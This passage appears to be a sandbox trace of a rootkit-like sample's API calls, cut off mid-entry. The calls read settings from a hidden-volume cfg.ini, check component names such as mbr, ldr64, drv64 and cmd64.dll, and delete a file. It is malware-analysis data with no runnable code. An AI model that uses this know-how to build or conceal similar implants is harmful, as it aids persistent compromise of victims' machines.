[0123.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.599] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.599] IdePortDispatch () returned 0x103 [0123.599] KeWaitForMutexObject () returned 0x0 [0123.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.600] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.600] IdePortDispatch () returned 0x103 [0123.600] KeWaitForMutexObject () returned 0x0 [0123.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.600] KeLeaveCriticalRegion () [0123.600] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.600] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.600] KeEnterCriticalRegion () [0123.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.600] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.600] KeLeaveCriticalRegion () [0123.600] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.600] KeEnterCriticalRegion () [0123.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.600] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.600] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.601] KeLeaveCriticalRegion () [0123.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.601] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.601] KeEnterCriticalRegion () [0123.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.601] ExFreePoolWithTag (P=0xfffffa8003bec770, Tag=0x0) [0123.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.601] KeLeaveCriticalRegion () [0123.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.601] ReleaseMutex (hMutex=0xf0) returned 1 [0123.601] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.601] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.601] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.601] KeEnterCriticalRegion () [0123.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.601] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.601] IdePortDispatch () returned 0x103 [0123.601] KeWaitForMutexObject () returned 0x0 [0123.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.601] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.601] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.601] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.601] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.601] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea4b0 [0123.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.601] KeLeaveCriticalRegion () [0123.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.601] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.601] KeEnterCriticalRegion () [0123.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.601] KeLeaveCriticalRegion () [0123.602] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.602] KeEnterCriticalRegion () [0123.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.602] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.602] IdePortDispatch () returned 0x103 [0123.602] KeWaitForMutexObject () returned 0x0 [0123.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.602] KeLeaveCriticalRegion () [0123.602] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.602] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.602] KeEnterCriticalRegion () [0123.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dd000 [0123.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.602] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.602] IdePortDispatch () returned 0x103 [0123.602] KeWaitForMutexObject () returned 0x0 [0123.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.602] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.602] IdePortDispatch () returned 0x103 [0123.603] KeWaitForMutexObject () returned 0x0 [0123.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.603] KeLeaveCriticalRegion () [0123.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.603] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.603] KeEnterCriticalRegion () [0123.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.603] KeLeaveCriticalRegion () [0123.603] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.603] KeEnterCriticalRegion () [0123.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.603] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.603] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.603] KeLeaveCriticalRegion () [0123.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.603] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.603] KeEnterCriticalRegion () [0123.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.603] ExFreePoolWithTag (P=0xfffffa8003bea4b0, Tag=0x0) [0123.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.603] KeLeaveCriticalRegion () [0123.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.604] ReleaseMutex (hMutex=0xf0) returned 1 [0123.604] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.604] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.604] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.604] KeEnterCriticalRegion () [0123.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.604] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.604] IdePortDispatch () returned 0x103 [0123.604] KeWaitForMutexObject () returned 0x0 [0123.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.604] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.604] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.604] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.604] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.604] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea130 [0123.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.604] KeLeaveCriticalRegion () [0123.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.604] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.604] KeEnterCriticalRegion () [0123.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.604] KeLeaveCriticalRegion () [0123.604] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.604] KeEnterCriticalRegion () [0123.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.604] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.604] IdePortDispatch () returned 0x103 [0123.605] KeWaitForMutexObject () returned 0x0 [0123.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.605] KeLeaveCriticalRegion () [0123.605] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.605] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.605] KeEnterCriticalRegion () [0123.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.605] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034de000 [0123.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.605] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.605] IdePortDispatch () returned 0x103 [0123.605] KeWaitForMutexObject () returned 0x0 [0123.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.605] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.605] IdePortDispatch () returned 0x103 [0123.605] KeWaitForMutexObject () returned 0x0 [0123.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.606] KeLeaveCriticalRegion () [0123.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.606] KeEnterCriticalRegion () [0123.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.606] KeLeaveCriticalRegion () [0123.606] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.606] KeEnterCriticalRegion () [0123.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.606] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.606] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.606] KeLeaveCriticalRegion () [0123.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.606] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.606] KeEnterCriticalRegion () [0123.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.606] ExFreePoolWithTag (P=0xfffffa8003bea130, Tag=0x0) [0123.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.606] KeLeaveCriticalRegion () [0123.606] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.606] ReleaseMutex (hMutex=0xf0) returned 1 [0123.606] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.606] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.606] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.607] KeEnterCriticalRegion () [0123.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.607] IdePortDispatch () returned 0x103 [0123.607] KeWaitForMutexObject () returned 0x0 [0123.607] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.607] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.607] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.607] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.607] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.607] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.607] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.607] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.607] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.607] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.607] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.607] KeLeaveCriticalRegion () [0123.607] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.607] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.607] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.607] KeEnterCriticalRegion () [0123.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.607] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.607] IdePortDispatch () returned 0x103 [0123.607] KeWaitForMutexObject () returned 0x0 [0123.608] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.608] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.608] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.608] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.608] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.608] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.608] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.608] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.608] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.608] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.608] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.608] KeLeaveCriticalRegion () [0123.608] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.608] ReleaseMutex (hMutex=0x100) returned 1 [0123.608] Sleep (dwMilliseconds=0x2bf20) [0123.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ce02750, dwHighDateTime=0x1d24fa4)) [0123.614] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.614] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.614] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.614] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.614] KeEnterCriticalRegion () [0123.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.614] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.614] IdePortDispatch () returned 0x103 [0123.614] KeWaitForMutexObject () returned 0x0 [0123.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.616] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.616] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.616] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: 